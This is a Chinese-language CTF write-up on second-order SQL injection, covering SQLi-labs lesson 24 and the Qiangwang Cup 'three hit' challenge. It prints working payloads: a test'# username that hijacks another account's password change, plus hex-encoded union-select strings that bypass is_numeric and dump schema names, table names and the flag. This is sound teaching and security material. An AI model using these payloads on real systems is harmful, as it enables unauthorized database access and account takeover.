之前参加“强网杯”,学到了不少姿势,其中的web题three hit印象深刻,考的是二次注入的问题,这里对二次注入尝试做一个小结。

0×01什么是二次注入?

所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。

二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

0×02二次注入的原理

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

由“强网杯”的three hit聊聊二次注入

0×03二次注入的实例——SQLIlab lesson-24

学习SQL注入,必定要刷SQLIlab,这里以SQLIlab lesson-24为例,也是考察的二次注入的点。打开题目

由“强网杯”的three hit聊聊二次注入

这题正常的流程是首先注册一个账号,然后登陆进去会让你修改新的密码:

由“强网杯”的three hit聊聊二次注入

如果直接尝试在登陆处尝试SQL注入,payload: admin’# 发现失败:

由“强网杯”的three hit聊聊二次注入

看一下源代码:

由“强网杯”的three hit聊聊二次注入

登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。

Ok,此时我们注册一个test’#的账号:

由“强网杯”的three hit聊聊二次注入

注册用户的时候用了mysql_escape_string过滤参数:

由“强网杯”的three hit聊聊二次注入

但是数据库中还是插入了问题数据test’#

由“强网杯”的three hit聊聊二次注入

也就是说经过mysql_escape_string转义的数据存入数据库后被还原,这里做了一个测试:

由“强网杯”的three hit聊聊二次注入

回到题目,此时,test用户的原来密码为test,我们以test’#用户登陆,再进行密码修改

由“强网杯”的three hit聊聊二次注入

我们无需填写current password即可修改test用户的密码:

由“强网杯”的three hit聊聊二次注入

我们再看一下test用户的密码:

由“强网杯”的three hit聊聊二次注入

Ok,我们看一下源代码:   

由“强网杯”的three hit聊聊二次注入

Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:

“UPDATEusers SET PASSWORD=’22′ where username=’test’#‘ and password=’$curr_pass’”;

因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入;

0×04二次注入实例——“强网杯”three hit

 题目描述:

由“强网杯”的three hit聊聊二次注入

打开看看:

由“强网杯”的three hit聊聊二次注入

尝试注入失败

由“强网杯”的three hit聊聊二次注入

注册一个账号:

由“强网杯”的three hit聊聊二次注入

登陆进去会显示用户名,age,以及和该用户age相同的用户名。这里题目对用户名做了限制只能为0-9a-zA-Z,对age限制为只能是数字。

根据题目的显示,猜测SQL语句

       Select name from table whereage=xx limit 0,1

猜测age处存在SQL注入, 这里后来看了其他大佬的解题思路,某大佬直接访问.index.php.swp,获得了源代码(其实是比赛方在修改代码,非预期):

由“强网杯”的three hit聊聊二次注入

可以看到对age进行了is_numeric处理,可以用16进制编码绕过。

Payload:


1 and 1=2#

0x3120616e6420313d3223

用0x3120616e6420313d3223作为age注册一个用户:

由“强网杯”的three hit聊聊二次注入

发现查询为空。

再试试


1 and 1=1#

0x3120616e6420313d3123

用0x3120616e6420313d3123作为age注册一个用户:

由“强网杯”的three hit聊聊二次注入

此时发现可以查询到aaa用户,根据and 1=1 和 and 1=2返回不同判断此处存在二次SQL注入,注册用户的age字段直接被后续的查询语句所调用。接下来的操作和普通的SQL注入测试操作没有什么区别,首先还是测有几列:

Payload:

1 order by4#

注册age为0x31206f72646572206279203423的用户:

由“强网杯”的three hit聊聊二次注入

查询正常。

Payload:

【此处内容缺失】

注册age为0x31206f72646572206279203523的用户:

由“强网杯”的three hit聊聊二次注入

查询失败,可以判断列数为4,接下来就是暴库,首先用union看看可以利用显示的字段:

由“强网杯”的three hit聊聊二次注入

可以看到第二列可以用来显示,接下来暴库:

Payload:


1 and 1=2union select 1,group_concat(schema_name),3,4 from information_schema.schemata#

0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e63617428736368656d615f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d61746123

由“强网杯”的three hit聊聊二次注入

可以看到 数据库名qwb,接下来爆表:

Payload:


1 and 1=2union select 1,group_concat(table_name),3,4 from information_schema.tableswhere table_schema='qwb'#

0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e636174287461626c655f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d277177622723

由“强网杯”的three hit聊聊二次注入

最终payload:


19 and 1=2union select null,concat(flag),null,null from flag#

0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723

注册一个age为0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723的用户:

由“强网杯”的three hit聊聊二次注入

总结一下,二次注入发生时,虽然会对用户的输入的一些符号进行转义,但是在存入数据库的时候被还原,如果从数据库中取数据的时候直接进行利用,就会造成二次注入,因此在从数据库或文件中取数据的时候,也要进行转义或者过滤。

  *本文作者:SAINTSEC团队tinyfisher